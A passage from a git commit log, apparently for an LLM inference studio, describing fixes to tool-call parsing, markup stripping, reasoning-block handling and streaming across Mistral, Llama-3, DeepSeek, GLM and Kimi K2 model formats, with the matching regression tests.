word[ARGS] substring as a tool boundary. An answer containing a literal foo[ARGS]{...} in prose, where foo is not an enabled tool, was drained, parsed into a disabled foo no-op, and forced an extra generation turn. Gate those checks on the active tool name too (unrestricted mode still accepts any name), so inactive-name prose is neither drained nor parsed. Adds a shared _has_genuine_tool_signal helper (safetensors) and _gguf_rehearsal_signal_pos / _gguf_has_genuine_tool_signal (GGUF). - render_html provisional card vs think blocks: the parser skips tool candidates that start inside a <think>/[THINK] reasoning block, but the provisional render_html detector scanned raw content. A render_html rehearsed inside <think> followed by a real non-render_html call emitted a provisional render_html tool_start (reusing the later call's id) that the loop never executed. Drop candidates that start inside a think span and use the first marker of each shape outside the blocks. Also resolve the [TOOL_CALLS] [{...}] array shape through the parser so a nested "name" argument key no longer fires a false provisional card ahead of the real top-level tool name. Adds regression tests for both loops: inactive-name foo[ARGS]{...} is not drained into a disabled no-op or a retry turn, a think-block render_html rehearsal emits no provisional card, and the array top-level name is read correctly. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Gate ambiguous bare-rehearsal parse and strip on the active tool list A bare NAME[ARGS]{json} is a genuine rehearsal call only when NAME is an active tool; otherwise it is prose. The earlier round gated only detection (so an inactive foo[ARGS] no longer drained the buffer or forced a retry turn), but the parse and strip stayed unrestricted, which produced two regressions: 1. An inactive foo[ARGS]{...} placed immediately before a real web_search[ARGS]{...} in the same content span made the real call fail to execute (parse consumed the phantom foo call). 2. An inactive foo[ARGS]{...} in a prose answer had its markup stripped from the visible text, corrupting the sentence to " is just syntax." Thread enabled_tool_names through the shared parser/strip so parse and strip apply the SAME active-tool gate as detection: - core/tool_healing.py: _iter_bracket_spans skips an inactive rehearsal span; parse_tool_calls_from_text, _strip_bracket_tag_calls, _strip_markup_segment and strip_tool_call_markup accept and thread the gate; apply_tool_strip_patterns keeps an inactive rehearsal match. - core/inference/tool_call_parser.py: wrappers forward the gate. - core/inference/safetensors_agentic.py and core/inference/llama_cpp.py: compute the gate from the active tool list (None when unrestricted, to keep the legacy strip-all behavior) and thread it into every parse and streaming/final strip site. - routes/inference.py: _strip_tool_xml_for_display accepts the gate and keeps an inactive rehearsal via a capture group on its rehearsal arm, so the display cleanup does not re-strip the already-correct loop output. The [TOOL_CALLS] control-token arms still strip unconditionally. Wire the current turn's active tool names into the GGUF and safetensors content-display sites. Tests: parse and strip gate coverage in test_tool_call_parser_strict.py, test_tool_xml_strip.py and test_safetensors_tool_loop.py; end-to-end GGUF coverage for the real-call-after-inactive-rehearsal case and a strengthened assertion that the inactive rehearsal prose survives intact. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: render the reasoning block for safetensors and MLX like GGUF enable_thinking chat templates (Qwen3/Qwen3.5/GLM) prefill an unclosed <think> into the generation prompt, so the model emits only the closing </think> then the answer. The safetensors/MLX chat stream emitted that as plain content, so the reasoning showed inline with no collapsible thinking block, while GGUF (which surfaces reasoning via reasoning_content) rendered one. This brings safetensors and MLX to parity. - _ResponsesReasoningExtractor gains a reasoning_prefilled mode that starts inside the reasoning block and splits on the first </think>; default False keeps GGUF and every existing caller byte-identical. It suppresses a stray re-emitted <think> and holds partial markers back across chunk boundaries. - _sf_reasoning_prefill_mode gates the mode on reasoning being enabled for the request, an enable_thinking or enable_thinking_effort style, and the template actually using the standard <think>/</think> markers. Models with a bespoke reasoning channel (e.g. gemma's <|think|>/<|channel>) are excluded so their answer is never swallowed; gpt-oss (Harmony) and thinking-off requests are excluded too. - sf_tool_stream and stream_chunks (the latter also serves MLX) feed text through the extractor, emitting reasoning_content then content deltas, with a per-turn reset in the tool loop and a flush before each tool_start; only the visible delta reaches the monitor reply. The two non-streaming drains split reasoning_content the same way. - Tests: extractor prefilled mode (streaming and edge cases), the gate matrix including the gemma-style exclusion, and a route-replay of the tool-loop reasoning stream. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * studio: skip tool calls rehearsed in prefilled reasoning Reasoning models (Qwen3.5 enable_thinking) open <think> in the prompt, so the generated text starts inside the thought and emits only a closing </think> with no opener. _think_spans_outside_tool_markup only found spans with an explicit opener, so a NAME[ARGS]{...} or [TOOL_CALLS] call rehearsed in that leading thought was parsed and executed as a real call. Add a leading think span (offset 0 through the first close marker) when the content opens with a bare close, so the rehearsed call is skipped and the reasoning is preserved by strip_outside_think. Guarded by the existing call-span check: a literal </think> inside a real call's arguments does not trigger the span, so a genuine leading call still fires. Tests for both cases. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * studio: do not start prefilled reasoning mode when reasoning_effort is none enable_thinking_effort models (e.g. GLM-5.2) express thinking-off via reasoning_effort="none" rather than enable_thinking=False, but _sf_reasoning_prefill_mode only looked at enable_thinking, so such a request started the extractor in prefilled mode. With thinking off the model never emits </think>, so the whole answer was captured as reasoning_content and the visible content/stream came back empty. Thread reasoning_effort through and return False when it is "none". Tests for none vs a real effort level. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * studio: only treat a leading bare </think> as prefilled reasoning when a real call follows The prefilled-reasoning virtual span fired on any unmatched leading close marker, so a non-prefilled turn that emits a real call before a stray </think> (for example "Now web_search[ARGS]{...}</think> answer") had the call swallowed by the span and dropped. Require that a real tool call also appear after the close (the actual turn that follows the thought) before adding the span, so a stray close in a normal answer no longer suppresses a genuine leading call. The rehearse-then- call case still skips the rehearsal. Test for the stray-close case. * Studio: trim redundant comments (comment-only, AST-verified) * studio: keep tool_healing importable on Python 3.9 _balanced_json_span was annotated -> int | None. With no from __future__ import annotations, that PEP 604 union is evaluated at import time, so on Python 3.9 (which the package still supports, requires-python >=3.9, and where external inference servers import this module standalone) the def raises TypeError and the whole module fails to import before any parsing runs. Add from __future__ import annotations so annotations stay lazy strings, matching the prevailing convention across studio/backend. No behavior change: the module has no runtime annotation introspection. * Studio: gate the Anthropic tool-stream display strip on declared tools The Anthropic streaming and non-streaming tool paths called _strip_tool_xml_for_display without enabled_tool_names, so with the default strip-all behavior a final answer that literally contains an inactive-name NAME[ARGS]{json} (prose, not a call) lost those bytes in the delivered text. The GGUF and safetensors paths already pass _display_tool_name_gate(tools); these two sites were missed when that gate was threaded through. Compute the gate from the declared tools and pass it at both sites (threading openai_tools into _anthropic_tool_non_streaming and its caller), so an inactive-name rehearsal survives while an active-name one is still stripped. Add a regression test. * Studio: hold a split unrestricted rehearsal prefix at the bracket In unrestricted tool mode (tools=[]) the rehearsal-prefix regex required [A after the bracket, so a chunk boundary landing right after NAME[ (e.g. web_search[ then ARGS]{...}) failed the prefix check and streamed the partial tool markup web_search[ to the client before the call drained. Restricted mode already holds this via a startswith check. Make the bracket and each ARGS letter individually optional so NAME[ is held too, matching the documented intent. Add a regression test. * Studio: gate rehearsal detection and history strip on the original tool set Two display/loop gate fixes so a spent one-shot tool is handled consistently: - Rehearsal DETECTION (safetensors and GGUF loops) now uses the ORIGINAL tool list, matching the strip gate, instead of the post-removal active_tools. After a one-shot tool (render_html) runs it is dropped from active_tools; a repeat render_html[ARGS]{...} while another tool is still active was stripped from display yet never detected, so it was not routed to the render_html_repeat no-op and the turn ended as a blank continuation. Detection now fires for it. - The GGUF assistant-history sanitiser forwards the enabled-tool-name gate (like the live-response strip), so a prior turn documenting an inactive foo[ARGS]{...} shape is preserved in the replayed prompt context instead of being deleted. Add regression tests for both loops and the history strip. * Studio: thread the tool-name gate through the remaining rehearsal/history sites Follow-up to the rehearsal-detection and history-strip gate fixes, covering the sibling sites that were missed: - GGUF loop: the rehearsal-prefix and trailing-name hold checks now use the original tool list (_detect_tools) like the detection path, so a spent one-shot's split repeat (bare render_html then [ARGS]{...}) is held instead of flushed as visible text. - The safetensors and Anthropic assistant-history sanitisers and the Anthropic non-streaming passthrough now forward the enabled-tool-name gate to _strip_tool_xml_for_display, matching the GGUF history sanitiser and the live strips, so a prior turn documenting an inactive foo[ARGS]{...} example is preserved in the replayed prompt / final text instead of deleted. Add regression tests. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Tile bracket-call spans per array item and include the v11 closer Two with_spans fixes for the Mistral bracket parser, both hit through the client-tool passthrough healers: - A multi-call [TOOL_CALLS] array carried its whole markup span on the first call and zero-width spans after, so a consumer that filters promotions by the declared tool set either re-emitted the full raw array as text next to the promoted call or silently dropped a filtered call's bytes. The region is now tiled across the call-producing items (each call's span covers its own JSON object plus the separator bytes before it; the last span runs to the region end), so promoted markup strips exactly once and a skipped call's bytes stay visible. - The v11 wrapper closer [/TOOL_CALLS] sat outside the reported span and leaked as stray text after promotion; the region now extends over an immediately-following closer. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Address review: decouple healer signals from the loop signal set The passthrough healer buffered on every TOOL_XML_SIGNALS entry, so the bare [ARGS] rehearsal marker this branch adds for the loops (where it is gated on active tool names) put legitimate prose like 'Use foo[ARGS] in templates' into the holding state and stalled the stream until finalization. The healer can never promote a bare rehearsal call, so it now buffers only on formats its parser promotes: <tool_call>, <|tool_call>, <function=, [TOOL_CALLS]. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Condense comments in the Mistral tool-call rescue to contract essentials * verify_import_hoist: exempt __future__ imports and same-diff relocations Two false positives fired on this PR's refactor. A from __future__ import is a compiler directive whose name never appears as a runtime load, so HOISTED-IMPORT-UNUSED can never see it used, yet the file requires it for PEP 604 annotations on Python 3.9. TARGET-CHANGED flagged the deliberate move of the strip-pattern constants into core.inference.tool_call_parser as a silent re-point even though the old module-level target was removed and the new one added in the same diff. Both get narrow exemptions; a re-point to a pre-existing target is still caught, and the self-test negative controls all pass unchanged. * Drain the whole Mistral [TOOL_CALLS] array in streaming passthrough healing StreamToolCallHealer._drain promoted only the first parsed call per pass and dropped the rest of the buffer past that one span. For a well-formed Mistral parallel-tool-call array streamed through client-tool passthrough ([TOOL_CALLS][{...},{...}]), the per-item spans are contiguous, so after the first call was promoted the residue began with ,{...}] (no leading signal) and was flushed as raw text: every call after the first was lost. _drain now walks the contiguous run of parsed calls (adjacent tiled spans = one array), promoting each declared call and relaying undeclared ones as data, and stops at the first gap (prose) or incomplete trailing block so separate blocks still stream incrementally in document order. This mirrors the non-streaming heal_openai_message / finalize promote-or-flush loop and the server-side safetensors loop, which already handled multi-call arrays. Added regression tests: 2-call array in one feed and char-by-char, an undeclared middle call kept as text, and an array followed by trailing prose. * Drain comma-less Mistral tool-call arrays and normalize null arguments The array branch fed the whole body to a single json.loads, which rejects the comma-less multi-call form the repo's own Mistral/Ollama templates render (the range loop in ollama_template_mappers.py emits the objects with no separator) and so dropped every call. Decode elements individually with the existing comma-tolerant raw_decode helper, now _decode_array_items, which also returns the objects, so all calls are recovered while the span tiling is unchanged. Also normalize a non-object array argument such as arguments null to an empty object, matching the wrapped tool_call path, instead of serializing None to the string "null" that auto-heal would turn into a bogus query of "null". * Gate safetensors reasoning prefill on the rendered generation prompt reasoning_always_on fires on any paired <think></think> in the template, including markup that only renders PAST assistant history (Kimi-K2-Thinking) while the generation prompt opens no <think>. Starting the reasoning extractor in prefilled mode there captured a normal answer entirely as reasoning_content and returned blank visible content. Prefill only when rendering the generation prompt actually leaves <think> open (DeepSeek-R1 / QwQ / Qwen3-Thinking); history-only templates start the extractor in normal mode and parse the model's own <think>...</think>. Adds a Kimi-shape regression test. * Keep bare scalar Mistral array arguments raw instead of double-encoding A scalar string argument in the canonical Mistral [TOOL_CALLS] array (for example [TOOL_CALLS][{"name":"web_search","arguments":"weather"}]) was run through json.dumps, turning weather into the JSON string "weather". The downstream argument healer then wrapped that quoted form, so a single-string tool like web_search searched for the literal "weather" with quotes. The <tool_call> path already keeps a scalar argument raw; mirror it here so only a dict is serialized. Add a regression test asserting both paths yield the same healed arguments. * Tighten tool-call rescue and reasoning-prefill comments * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>	2026-07-06 18:52:13 -07:00
Daniel Han	c00c1e70c8	studio: tool calling for DeepSeek (R1/V3/V3.1), GLM 4.x, Kimi K2 on safetensors + MLX (#5624) ... * studio: tool calling for Llama-3, Mistral, Gemma 4 on safetensors + MLX (#5615) Adds tool calling for Llama-3, Mistral (pre-v11 + v11+ + [ARGS]), and Gemma 4 to the safetensors / transformers and MLX backends. Parser patched against llama.cpp / vLLM / SGLang per-family parsers and normalises to OpenAI shape. 96 targeted unit tests + cross-OS staging CI (ubuntu / macos-14 / windows) green on the multi-format probe. * studio: tool-call healing parity between safetensors / MLX and GGUF After the multi-format parser landed in #5615, the safetensors / MLX agentic loop and the GGUF loop still differed on healing behaviour. This commit closes the gaps in both directions so the two backends react the same way to identical model output. Changes: 1. core/inference/llama_cpp.py -- the GGUF BUFFERING state machine now wakes on every emission marker the shared parser knows. Was ("<tool_call>", "<function="); is now the five-tuple imported from core.inference.tool_call_parser (Qwen / Qwen3.5 / Llama-3 <|python_tag|> / Mistral [TOOL_CALLS] / Gemma 4 <|tool_call>). Stream cleanup is delegated to the same shared strip_tool_markup so leaked markup from any family is removed from assistant content. 2. core/inference/llama_cpp.py -- per-tool canonical heal key. When a tool arguments field is a bare string and JSON parsing fails, the GGUF path now heals to {"code": raw_args} for python, {"command": raw_args} for terminal, and {"query": raw_args} for everything else. Was hard-coded to {"query": raw_args}, which silently routed every python / terminal emission through web_search. Mirrors safetensors_agentic._CANONICAL_HEAL_ARG. 3. core/inference/safetensors_agentic.py -- re-prompt on plan- without-action. When the model emits a short forward-looking intent ("I'll search for that", "Let me check", "First, I will...") and no tool call, the loop nudges the model to act instead of silently returning a plan-only answer. Up to _MAX_REPROMPTS=3 (matches GGUF). The intent regex, character cap, and instruction text are byte-identical to the GGUF path. The buffer-end fall-through is unified so a buffered intent emission that never exits the BUFFERING state still triggers the re-prompt. 4. core/inference/safetensors_agentic.py -- extra iteration slots for re-prompts. The loop now budgets max_tool_iterations + _MAX_REPROMPTS + 1 total iterations and tracks the tool-call count separately, so a stalling model can be nudged 3x without eating the caller's tool-call budget. Mirrors the _extra slot reservation in the GGUF path. Tests (14 new safetensors-side units; 5 GGUF parity pins): TestLoopRePrompt -- intent-trigger, plain-answer, no-tools, cap-at-three, budget preserved, buffer-end intent. TestLoopCanonicalHealKey -- python / terminal / unknown. TestGGUFSafetensorsHealingParity -- shared markers used, shared strip used, canonical heal keys identical, intent regex matches same phrases, _MAX_REPROMPTS equal on both backends. All 110 targeted tests pass locally; the broader tool / inference / model-config / sandbox / anthropic / mlx suites stay green. Why this matters Without this parity, Llama-3.2 / Mistral / Gemma 4 emissions on Mac (MLX) and Linux-safetensors stop the agentic loop as soon as the model says "Let me...", because the GGUF re-prompt logic never existed on these backends. The two-marker GGUF BUFFERING tuple also let non-Qwen tool emissions stream out as plain prose when llama-server's structured channel did not pick them up. Both paths now drain the same way, heal the same way, and re-prompt the same way -- so a tool call that works on GGUF works identically on safetensors / MLX. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * studio: fix tool-call parser bugs from gemini review on #5620 Three high-priority gemini findings on the tool-call parsing additions: 1. unicode_escape on UTF-8 bytes corrupts non-ASCII literals (e.g. ✨ becomes â\x9c¨). Replace with json.loads on a quoted string -- preserves emoji / CJK / RTL while still handling \n \t \uXXXX escapes. 2. Llama-3 sentinel stripping is order-dependent. A leading `<|eot_id|><|begin_of_text|>` left `<|begin_of_text|>` behind because the loop had already passed that sentinel. Loop until no sentinel matches at the start. 3. Mistral v11+ `[TOOL_CALLS] name { json }` regex uses non-greedy `\{.*?\}` which truncates at the first `}` of a nested JSON argument, leaking the tail (e.g. `}}`) into user-visible streamed text. Same problem for the v0.3 array pattern with nested brackets. Strip those with balanced brace/bracket scanning via a new `_strip_mistral_closed_calls` helper called from `strip_tool_markup`. Also fix the inference routes' parallel `_TOOL_XML_RE`: - Same nested-JSON truncation in the Mistral patterns; route the strip through the parser's balanced-scan helper via a thin `_strip_tool_xml` wrapper that all existing callers now use. - Llama-3 `<|python_tag|>[^\n<]*` stopped at any `<`, leaking the tail of any tool call whose argument contained a literal `<` (queries, code snippets). Relax to `[^\n]*` which keeps the strip confined to the actual end-of-line. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * studio: tool calling for DeepSeek (R1/V3/V3.1), GLM 4.x, Kimi K2 Adds three more emission-family parsers to tool_call_parser.py so the shared safetensors / MLX / GGUF agentic loop covers the major open- weight reasoning families. Patterns ported from llama.cpp (common/chat-parser.cpp legacy pre-PEG branch), vLLM (tool_parsers/deepseekv3*, glm4_moe, kimi_k2), and SGLang (function_call/deepseekv31_detector, glm4_moe_detector, kimik2_detector). All three references are MIT (llama.cpp) or Apache-2.0 (vLLM, SGLang). Formats covered: DeepSeek R1 <｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function <｜tool▁sep｜>NAME\n```json\n{...}\n```<｜tool▁call▁end｜> <｜tool▁calls▁end｜> -- args wrapped in a Markdown json fence, ``function`` literal prefix per llama.cpp common_chat_parse_ deepseek_r1 (chat-parser.cpp:801-820) DeepSeek V3/V3.1 <｜tool▁calls▁begin｜><｜tool▁call▁begin｜>NAME <｜tool▁sep｜>{json}<｜tool▁call▁end｜><｜tool▁calls▁end｜> -- bare JSON, no code fence, no ``function`` prefix per llama.cpp common_chat_parse_deepseek_v3_1 (chat-parser.cpp:822-879) GLM 4.5/4.6/4.7 <tool_call>NAME\n<arg_key>k1</arg_key> \n<arg_value>v1</arg_value>...</tool_call> -- strings raw, non-strings JSON-encoded per chat_template.jinja; multi-call is back-to-back blocks. Per llama.cpp common_chat_parse_glm_4_5 (chat-parser.cpp:1040-1052) Kimi K2 <|tool_calls_section_begin|><|tool_call_begin|> functions.NAME:IDX<|tool_call_argument_begin|>{json} <|tool_call_end|><|tool_calls_section_end|> -- bare name recovered by stripping ``functions.`` prefix and ``:IDX`` suffix; full id preserved as tool_calls[i].id so the roundtrip replays verbatim. Per llama.cpp common_chat_parse_kimi_k2 (chat-parser.cpp:896-913) Marker collisions GLM uses the same ``<tool_call>`` opener as Qwen but with a bare function name + ``<arg_key>`` body (Qwen has ``\s*{`` after the tag). The dispatch keeps Qwen first; Qwen's _TC_JSON_START_RE returns no matches on a GLM emission, so the fall-through to _parse_glm_tool_ calls handles it correctly. Existing Qwen tests confirm zero regression. Streaming buffer TOOL_XML_SIGNALS extended from 5 markers to 12 so the BUFFERING state machine wakes on every new family's section opener. Added the DeepSeek alternative markers (ASCII underscores, short ``<｜tool▁calls｜>`` form) because real checkpoints emit those variants. Strip patterns _TOOL_CLOSED_PATS adds DeepSeek envelope (``<｜tool▁calls▁begin｜>... <｜tool▁calls▁end｜>``) and Kimi section (``<|tool_calls_section_begin|> ...<|tool_calls_section_end|>``). _TOOL_ALL_PATS adds the same plus the unclosed-tail variants so a truncated stream does not leak markup. Route gate _detect_safetensors_features._PARSER_MARKERS grows to include DeepSeek and Kimi markers plus ``<arg_key>`` (the unique GLM signal). _TOOL_XML_RE (the route-layer markup-strip regex) gets DeepSeek and Kimi closed-pair patterns. _TOOL_TEMPLATE_MARKERS in llama_cpp.py adds ``message['role'] == 'tool'``, ``message['tool_calls']``, and ``tool_calls is defined`` so the classifier recognises DeepSeek's subscripted-access template style (it has no top-level ``{% if tools %}`` block). Tests (39 new): TestParserDeepSeek (7) -- R1 fence, short-form opener, V3.1 bare, multi-call, with-reasoning, strip, signal-wakes-streaming TestParserGLM (6) -- single, mixed types, multi-call, unclosed-heal, no-Qwen-regression, strip TestParserKimi (6) -- single, multi-call, dotted-name, unclosed, strip, signal-wakes-streaming TestParserCrossFormatRouting (2) -- dispatch routing, signal coverage TestLoopBasic loop integration (3) -- DeepSeek / GLM / Kimi end-to-end Capability advertise (3) -- DeepSeek / GLM / Kimi templates flip supports_tools=True All 398 targeted tests pass locally (115 safetensors + 27 capability + rest of tool / inference / sandbox / model-config suites). Builds on PR #5620 (parser + healing parity for Llama-3 / Mistral / Gemma 4); will rebase cleanly onto main once #5620 lands. PR opened as draft - do not merge until validated against real models for each family. Sources - llama.cpp common/chat-parser.cpp lines 801-913, 1040-1052 (MIT) - vLLM vllm/tool_parsers/deepseekv31_tool_parser.py (Apache-2.0) - vLLM vllm/tool_parsers/glm4_moe_tool_parser.py (Apache-2.0) - vLLM vllm/tool_parsers/kimi_k2_tool_parser.py (Apache-2.0) - SGLang python/sglang/srt/function_call/{deepseekv31,glm4_moe,kimik2}_ detector.py (Apache-2.0) - Live chat templates: deepseek-ai/DeepSeek-V3.1, zai-org/GLM-4.6, moonshotai/Kimi-K2-Instruct, unsloth/DeepSeek-V3-0324, unsloth/GLM-4.5-Air, unsloth/Kimi-K2-Instruct * studio/routes: make python_tag strip multi-line aware Earlier revisions of _TOOL_XML_RE in studio.backend.routes.inference oscillated between two bug shapes: 5615 r"<\|python_tag\|>[^\n<]*" -- stopped at any literal "<" so code='if x < 10: pass' leaked '< 10: pass)' to the user. 5620.1 r"<\|python_tag\|>[^\n]*" -- single-line only; the second line of python.call(code="a\nb") leaked. The full parser (_parse_llama3_python_tag) already handles both via balanced-brace scanning, so the parsing path was fine; the LEAK was in the streaming strip path that runs on every cumulative emission while content is still arriving. Switch to r"<\|python_tag\|>(?:[^<]|<(?!\|))*" so the strip consumes: * any character that is not a "<" (newlines, JSON, code, ...), * a "<" only when it is NOT followed by "|" (i.e. NOT a Llama-3 sentinel start like <|eot_id|>, <|eom_id|>, <|begin_of_text|>). This means: * code='if x < 10' stays inside the strip (5615 fix preserved), * multi-line code stays inside the strip (5620 round 2), * the strip terminates at the next Llama-3 sentinel so trailing assistant content survives. Tests: TestRoutesPythonTagStrip (8 cases) pytest test_safetensors_tool_loop.py test_safetensors_capability_advertise.py -> 118 passed in 1.81s (was 110). * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * studio: review follow-ups for DeepSeek / GLM / Kimi tool calling Four fixes addressing review of the parent commit: 1. GLM <arg_value> coercion: tighten the json.loads -> ast.literal_eval -> raw cascade to only deserialize when the body unambiguously looks like a JSON literal (object, array, JSON-encoded string, true/false/null, or numeric). Strings like ``True`` / ``None`` (Python literals, not JSON) and arbitrary prose now stay raw. The bare-numeric / bare-boolean ambiguity with string args remains an inherent limitation of the template without schema access -- documented in the new comment. Drops the ast import entirely (closes Gemini's :1036 suggestion). 2. Kimi K2 bare-counter ids (e.g. ``<|tool_call_begin|>3``) are now dropped rather than surfaced as a tool literally named "3". Matches vLLM behaviour; SGLang's schema-infer fallback is out of scope at the parse site. Real Kimi K2 emissions use ``functions.NAME:IDX`` so this is the exception path. 3. Restore the elaborate ``<|python_tag|>(?:[^<]|<(?!\|))*`` clause in routes.inference._TOOL_XML_RE -- the simpler ``[^\n<]*`` form regressed PR #5620's multi-line / literal-``<`` python_tag fix. Restore ``TestRoutesPythonTagStrip`` (8 tests) adapted to call ``_TOOL_XML_RE.sub`` directly since the ``_strip_tool_xml`` helper was inlined this PR. 4. Add the spaced and backslash-escaped DeepSeek opener variants (``<｜tool calls begin｜>``, ``<｜tool\_calls\_begin｜>``) to ``TOOL_XML_SIGNALS`` for streaming-gate parity with ``_DEEPSEEK_BEGIN_RE``. Also updates the llama.cpp / vLLM citations in the parser docstrings: ``common/chat-parser.cpp`` was split into ``common/chat.cpp`` + ``common/chat-peg-parser.cpp`` by llama.cpp PR #18675, and vLLM moved the tool parsers from ``vllm/entrypoints/openai/tool_parsers/`` to ``vllm/tool_parsers/``. Pin to pre-refactor commit ``51fa458a92d6`` where the cited line numbers still resolve. New regression tests in ``test_pr5624_regressions.py`` cover the GLM coercion heuristic shapes, GLM literal-``<`` in arg_value, Kimi K2 dotted name, Kimi K2 bare-counter drop, DeepSeek V3.1 truncated mid-stream, and routes-layer strip across all three new families. Tests: pytest studio/backend/tests/test_safetensors_tool_loop.py studio/backend/tests/test_safetensors_capability_advertise.py studio/backend/tests/test_pr5624_regressions.py -q -> 170 passed in 1.91s * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * studio: tighten verbose comments in tool-call parser sections Comments were narrating what the code already says. Cut historical "earlier revisions used X, then Y" narratives down to one-line WHY notes where the footgun still matters (canonical heal-key parity, balanced-brace vs non-greedy regex, ``(?:[^<]|<(?!\|))*`` over ``[^\n<]*``/``[^\n]*``). Drop section-header banners. No behaviour change. Re-ran: pytest studio/backend/tests/test_safetensors_tool_loop.py \ studio/backend/tests/test_safetensors_capability_advertise.py -q -> 118 passed. Regression replay (parser + _coerce_arguments on the 5 #5615 inputs) -> 21/21. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * studio: GLM 4.7 no-newline emission + Kimi multi-section parity Two fixes surfaced by triple-confirm verification against the live HF chat templates and upstream llama.cpp / vLLM / SGLang parsers. 1. GLM 4.7 silent drop ``zai-org/GLM-4.7/chat_template.jinja`` line 65 uses ``{{- '<tool_call>' + tc.name -}}`` which Jinja strips trailing whitespace from, so the first ``<arg_key>`` follows the function name with NO ``\n`` between them. Real emissions look like ``<tool_call>get_weather<arg_key>city</arg_key><arg_value>London </arg_value></tool_call>``. The previous ``_GLM_TC_OPEN_RE`` ended the name with ``\n`` so GLM-4.7 calls were silently dropped (parser returned ``[]``). Fix: relax the name terminator to a lookahead that accepts EITHER ``\n`` OR the next ``<arg_key>``: _GLM_TC_OPEN_RE = re.compile( r"<tool_call>\s*([^\n<{][^\n<]*?)\s*(?=\n|<arg_key>)" ) The first-char restriction ``[^\n<{]`` still excludes Qwen's ``<tool_call>{json}`` form so the Qwen-vs-GLM dispatch remains mutually exclusive. 2. Kimi multi-section parity with vLLM / SGLang ``vllm/tool_parsers/kimi_k2_tool_parser.py`` and SGLang's ``kimik2_detector.py`` both use ``re.findall`` and so collect every ``<|tool_calls_section_begin|>...<|tool_calls_section_end|>`` block in a single stream. The previous implementation stopped at the first ``<|tool_calls_section_end|>``. Kimi K2 doesn't emit multi-section in practice, but parity is cheap. Fix: wrap the existing per-call body parser in an outer loop that advances past each ``<|tool_calls_section_end|>`` and continues to the next ``<|tool_calls_section_begin|>``. Body parsing extracted to ``_parse_kimi_section_body`` for clarity. Truncated final section is still surfaced via the existing in-body balanced-brace walk. Verified independently against the live HF templates: * GLM-4.7 emission constructed from the live template parses to the expected ``{name, arguments}`` shape. * GLM-4.5 / 4.6 newline shape continues to parse (the lookahead also matches ``\n``). * Qwen ``<tool_call>{json}`` still dispatches to the Qwen path -- the first-char restriction stops the GLM regex from biting JSON bodies. * Kimi two-section stream surfaces both calls in order with full ids preserved. * Bare-counter Kimi ids still drop. Tests added in ``test_pr5624_regressions.py``: * ``test_glm_4_7_no_newlines_between_name_and_arg_key`` * ``test_glm_4_7_no_newlines_multi_call`` * ``test_glm_4_7_does_not_break_qwen_path`` * ``test_kimi_two_sections_in_one_stream_both_parse`` pytest studio/backend/tests/test_safetensors_tool_loop.py studio/backend/tests/test_safetensors_capability_advertise.py studio/backend/tests/test_pr5624_regressions.py -q -> 174 passed in 1.93s pytest studio/backend/tests/ -q -k 'not gpu and not llama_cpp_integration' -> 2038 passed, 15 failed (pre-existing CI gaps). * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * studio: parser robustness fixes for PR #5620 Three surgical extensions to the multi-format tool-call parser, each covering a real fine-tune / template emission shape that the current parser silently drops. No path narrows; all changes widen what is accepted. 1. `_parse_tool_call_json` now accepts both `arguments` and `parameters` keys. A Hermes / Qwen `<tool_call>{json}</tool_call>` wrapper around a Llama-3.2 fine-tune that emits the `parameters` key was extracting the tool name and silently discarding the args, producing a working-shaped call with an empty payload. The bare-JSON and python_tag paths already accepted both keys; this path now matches them. 2. `_TC_FUNC_START_RE`, `_TC_PARAM_START_RE`, and `_TC_PARAM_CLOSE_RE` now also match the attribute form `<function name="..."><param name="...">v</param></function>` used by MiniCPM-5 and MiniMax-M2. Names land in either capture group, and `</param>` is accepted as a short close. 3. `_parse_llama3_bare_json` sentinel-strip now consumes the role label inserted between `<|start_header_id|>` and `<|end_header_id|>` by Meta's official Llama-3.x chat template. Without this, every assistant turn re-fed through the template prefix `<|start_header_id|>assistant<|end_header_id|>\n\n{json}` parsed to zero calls, so any history-with-tool-call round-trip in production silently dropped. Tests in `studio/backend/tests/test_safetensors_tool_loop.py`: * `TestParserRobustness::test_tool_call_json_accepts_parameters_key` * `TestParserRobustness::test_function_xml_attribute_form` * `TestParserRobustness::test_function_xml_attribute_form_multi_param` * `TestParserRobustness::test_function_xml_legacy_equals_form_still_works` (regression guard for the existing `<function=name>` syntax) * `TestParserRobustness::test_llama3_chat_template_round_trip` * `TestParserRobustness::test_llama3_round_trip_all_roles` * `TestParserRobustness::test_llama3_round_trip_with_eot_prefix` `pytest studio/backend/tests/test_safetensors_tool_loop.py studio/backend/tests/test_safetensors_capability_advertise.py -q` goes from 118 to 125 passed. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Trim verbose comments in tool-call parser sections for PR #5624 Pure comment / docstring tightening on top of the GLM 4.7 + Kimi multi-section fixes. No behavioural change. * Drop multi-paragraph prelude and post-refactor citation chatter in the DeepSeek, GLM and Kimi parser docstrings; keep the shape and upstream-commit pin. * Collapse ``parse_tool_calls_from_text``'s 9 per-family blocks into a single ordered loop with one combined comment. * Tighten the GLM coercion, Kimi bare-counter and ``_TOOL_XML_RE`` comments to one or two lines each. * Same trim pass on 